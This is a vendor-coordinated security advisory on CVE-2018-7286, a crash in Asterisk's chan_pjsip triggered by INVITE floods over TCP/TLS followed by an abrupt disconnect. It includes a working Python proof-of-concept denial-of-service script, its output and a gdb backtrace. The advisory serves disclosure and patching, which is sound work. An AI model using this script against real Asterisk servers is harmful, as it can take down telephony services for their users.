'''
- Authors:
- Alfred Farrugia <alfred@enablesecurity.com>
- Sandro Gauci <sandro@enablesecurity.com>
- Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip` installed with `--with-pjproject-bundled`
- References: AST-2018-005, CVE-2018-7286
- Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-04-asterisk-pjsip-tcp-segfault>
- Vendor Advisory: <http://downloads.asterisk.org/pub/security/AST-2018-005.html>
- Tested vulnerable versions: 15.2.0, 15.1.0, 15.0.0, 13.19.0, 13.11.2, 14.7.5
- Timeline:
- Issue reported to vendor: 2018-01-24
- Vendor patch made available to us: 2018-02-05
- Vendor advisory published: 2018-02-21
- Enable Security advisory: 2018-02-22
A crash occurs when a number of INVITE messages are sent over TCP or TLS and
then the connection is suddenly closed. This issue leads to a segmentation fault.
Abuse of this vulnerability leads to denial of service in Asterisk when
`chan_pjsip` is in use.
The following script was used to reproduce the issue on a TLS connection:
'''
python
import md5
import re
import socket
import ssl
import uuid
from time import sleep
SERVER_IP = "127.0.0.1"
SERVER_PORT = 5061
USERNAME = "3000"
PASSWORD = "3000"
INVITE_USERNAME = "3000"
errno = 0
lasterrno = 0
while True:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock = ssl.wrap_socket(sock,
ssl_version=ssl.PROTOCOL_TLSv1,
)
sock.connect((SERVER_IP, SERVER_PORT))
sock.settimeout(0.5)
errno = 0
callid = str(uuid.uuid4())
for ix in range(10):
sdpbody = ""
msg = "INVITE sip:%s@%s:%i SIP/2.0\r\n" \
"To: <sip:%s@%s:%i>\r\n" \
"From: Test <sip:%s@%s:%s>\r\n" \
"Call-ID: %s\r\n" \
"CSeq: 2 INVITE\r\n" \
"Via: SIP/2.0/TLS 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \
"Contact: <sip:%s@172.17.0.1>\r\n" \
"Content-Type: application/sdp\r\n" \
"{{AUTH}}" \
"Content-Length: %i\r\n" \
"\r\n" % (
INVITE_USERNAME, SERVER_IP, SERVER_PORT,
INVITE_USERNAME, SERVER_IP, SERVER_PORT,
USERNAME, SERVER_IP, SERVER_PORT,
callid, callid,
USERNAME, len(sdpbody)
) + \
sdpbody
sock.sendall(msg.replace("{{AUTH}}", ""))
data = sock.recv(10240)
if data.startswith("SIP/2.0 401"):
for line in data.split('\r\n'):
if line.startswith("WWW-Authenticate"):
content = line.split(':', 2)[1].strip()
realm = re.search(
"realm=\"([a-z]+)\"", content).group(1)
nonce = re.search(
"nonce=\"([a-z0-9\/]+)\"", content).group(1)
ha1 = md5.new(USERNAME + ":" + realm +
":" + PASSWORD).hexdigest()
uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT)
ha2 = md5.new("INVITE:" + uri).hexdigest()
r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest()
auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \
"realm=\"%s\"," % (realm) + \
"nonce=\"%s\"," % (nonce) + \
"uri=\"%s\"," % (uri) + \
"response=\"%s\"," % (r) + \
"algorithm=md5\r\n"
print(auth)
sock.sendall(msg.replace("{{AUTH}}", auth))
errno = 0
except (socket.error, ssl.SSLEOFError), err:
print(err)
print("getting close!")
sleep(2)
errno += 1
if errno >= 10:
print("confirmed dead")
break
elif errno > lasterrno:
lasterrno = errno
continue
'''
The output from the tool should show the following:
```
> python test.py
Authorization: Digest username="3000",realm="asterisk",nonce="1516728889/07e2e34fbd45ed7f6b1bca0d2bde50ae",uri="sip:127.0.0.1:5061",response="a2b7e2bfa722730b64787664db474f2a",algorithm=md5
EOF occurred in violation of protocol (_ssl.c:590)
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
[Errno 111] Connection refused
getting close!
confirmed dead
```
Notes:
- authentication may be required
- the destination SIP address should match a valid extension in the dialplan
- similar code to the above can be used to reproduce the issue on TCP transport
```
gdb --args /opt/asterisk/sbin/asterisk -fcvvv
Thread 25 "asterisk" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff030a700 (LWP 133)]
ast_sip_failover_request (tdata=0x0) at res_pjsip.c:3956
3956if (!tdata->dest_info.addr.count || (tdata->dest_info.cur_addr == tdata->dest_info.addr.count - 1)) {
(gdb) bt
at ../src/pjsip/sip_transaction.c:1267
at res_pjsip/pjsip_resolver.c:527
cb=cb@entry=0x7ffff78660f0 <send_response_resolver_cb>) at ../src/pjsip/sip_resolve.c:209
cb=cb@entry=0x7ffff78660f0 <send_response_resolver_cb>) at ../src/pjsip/sip_endpoint.c:1164
cb=cb@entry=0x7ffff787cd80 <send_msg_callback>) at ../src/pjsip/sip_util.c:1796
p_handled=p_handled@entry=0x7ffff0309d44) at ../src/pjsip/sip_endpoint.c:893
(gdb)
```
Apply the patch issued by Asterisk at <http://www.asterisk.org/security> or upgrade to the latest release.
[Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers.
The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
'''